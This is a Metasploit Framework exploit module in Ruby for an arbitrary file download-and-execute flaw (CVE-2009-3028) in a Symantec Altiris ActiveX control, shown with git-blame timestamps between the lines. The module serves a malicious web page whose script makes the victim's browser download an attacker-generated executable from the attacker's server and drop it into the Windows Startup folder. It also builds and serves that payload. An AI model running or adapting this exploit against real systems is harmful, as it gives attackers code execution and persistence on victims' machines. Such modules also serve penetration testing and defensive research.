2010-04-30 10:40:19 +02:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-09-10 00:30:01 +02:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 02:40:50 +01:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-09-10 00:30:01 +02:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 06:50:37 +01:00
|
|
|
Rank = ExcellentRanking
|
2009-09-10 00:30:01 +02:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2010-09-20 06:38:13 +02:00
|
|
|
include Msf::Exploit::EXE
|
2009-09-10 00:30:01 +02:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2010-11-24 20:35:38 +01:00
|
|
|
'Name' => 'Symantec Altiris Deployment Solution ActiveX Control Arbitrary File Download and Execute',
|
2009-09-10 00:30:01 +02:00
|
|
|
'Description' => %q{
|
2010-04-30 10:40:19 +02:00
|
|
|
This module allows remote attackers to install and execute arbitrary files on a users file system via
|
2009-09-10 00:30:01 +02:00
|
|
|
AeXNSPkgDLLib.dll (6.0.0.1418). This module was tested against Symantec Altiris Deployment Solution 6.9 sp3.
|
|
|
|
},
|
2009-11-14 19:09:05 +01:00
|
|
|
'License' => MSF_LICENSE,
|
2009-09-10 00:30:01 +02:00
|
|
|
'Author' => [ 'MC' ],
|
2010-04-30 10:40:19 +02:00
|
|
|
'References' =>
|
2009-09-10 00:30:01 +02:00
|
|
|
[
|
2009-10-12 14:39:15 +02:00
|
|
|
[ 'BID', '36346' ],
|
|
|
|
[ 'CVE', '2009-3028' ],
|
2009-10-12 16:42:51 +02:00
|
|
|
[ 'OSVDB', '57893' ]
|
2009-09-10 00:30:01 +02:00
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 2048,
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
2010-09-20 10:06:27 +02:00
|
|
|
'DefaultOptions' =>
|
2009-09-10 00:30:01 +02:00
|
|
|
{
|
|
|
|
'HTTP::compression' => 'gzip'
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-09-20 10:06:27 +02:00
|
|
|
[ 'Automatic', { } ],
|
2009-09-10 00:30:01 +02:00
|
|
|
],
|
2011-04-21 13:12:34 +02:00
|
|
|
'DisclosureDate' => 'Sep 09 2009',
|
2009-09-10 00:30:01 +02:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 10:40:19 +02:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('PATH', [ true, "The path to place the executable.", 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\' ]),
|
|
|
|
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
|
|
|
|
], self.class)
|
2009-09-10 00:30:01 +02:00
|
|
|
end
|
|
|
|
|
|
|
|
def autofilter
|
|
|
|
false
|
|
|
|
end
|
|
|
|
|
|
|
|
def check_dependencies
|
|
|
|
use_zlib
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
payload_url = "http://"
|
|
|
|
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
2012-06-25 05:59:14 +02:00
|
|
|
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/PAYLOAD"
|
2009-09-10 00:30:01 +02:00
|
|
|
|
|
|
|
if (request.uri.match(/PAYLOAD/))
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
2010-09-20 06:38:13 +02:00
|
|
|
data = generate_payload_exe({ :code => p.encoded })
|
2012-04-20 21:31:42 +02:00
|
|
|
print_status("Sending payload EXE")
|
2009-09-10 00:30:01 +02:00
|
|
|
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
|
|
exe = rand_text_alpha_upper(rand(5) + 1)
|
|
|
|
|
2010-04-30 10:40:19 +02:00
|
|
|
content = %Q|<html>
|
|
|
|
<head>
|
|
|
|
<script>
|
|
|
|
try {
|
|
|
|
var #{vname} = new ActiveXObject('Altiris.AeXNSPkgDL.1');
|
|
|
|
#{vname}.DownloadAndInstall("#{payload_url}/#{exe}.EXE", "#{datastore['PATH']}\\\\#{exe}.EXE", "#{datastore['PATH']}\\\\#{exe}.EXE", "", "");
|
|
|
|
} catch( e ) { window.location = 'about:blank' ; }
|
|
|
|
</script>
|
|
|
|
</head>
|
|
|
|
</html>
|
|
|
|
|
|
2009-09-10 00:30:01 +02:00
|
|
|
|
2012-04-20 21:31:42 +02:00
|
|
|
print_status("Sending #{self.name}")
|
2009-09-10 00:30:01 +02:00
|
|
|
|
|
|
|
send_response_html(cli, content)
|
2010-04-30 10:40:19 +02:00
|
|
|
|
2009-09-10 00:30:01 +02:00
|
|
|
handler(cli)
|
2010-04-30 10:40:19 +02:00
|
|
|
|
2009-09-10 00:30:01 +02:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
=begin
|
|
|
|
C:\Program Files\Altiris\eXpress\Deployment Web Console\DSWeb\utils\AltirisNSConsole.zip
|
|
|
|
|
|
|
|
altiris_deploymentsolution_win_6_9_sp3_server.zip
|
|
|
|
|
|
|
|
[id(0x00000007), helpstring("method DownloadAndInstall")]
|
|
|
|
void DownloadAndInstall(
|
2010-04-30 10:40:19 +02:00
|
|
|
[in] BSTR Src,
|
|
|
|
[in] BSTR Dest,
|
|
|
|
[in] BSTR InstCmdLine,
|
|
|
|
[in] BSTR UpgdCmdLine,
|
|
|
|
[in] BSTR ProdCode);
|
2009-09-10 00:30:01 +02:00
|
|
|
=end
|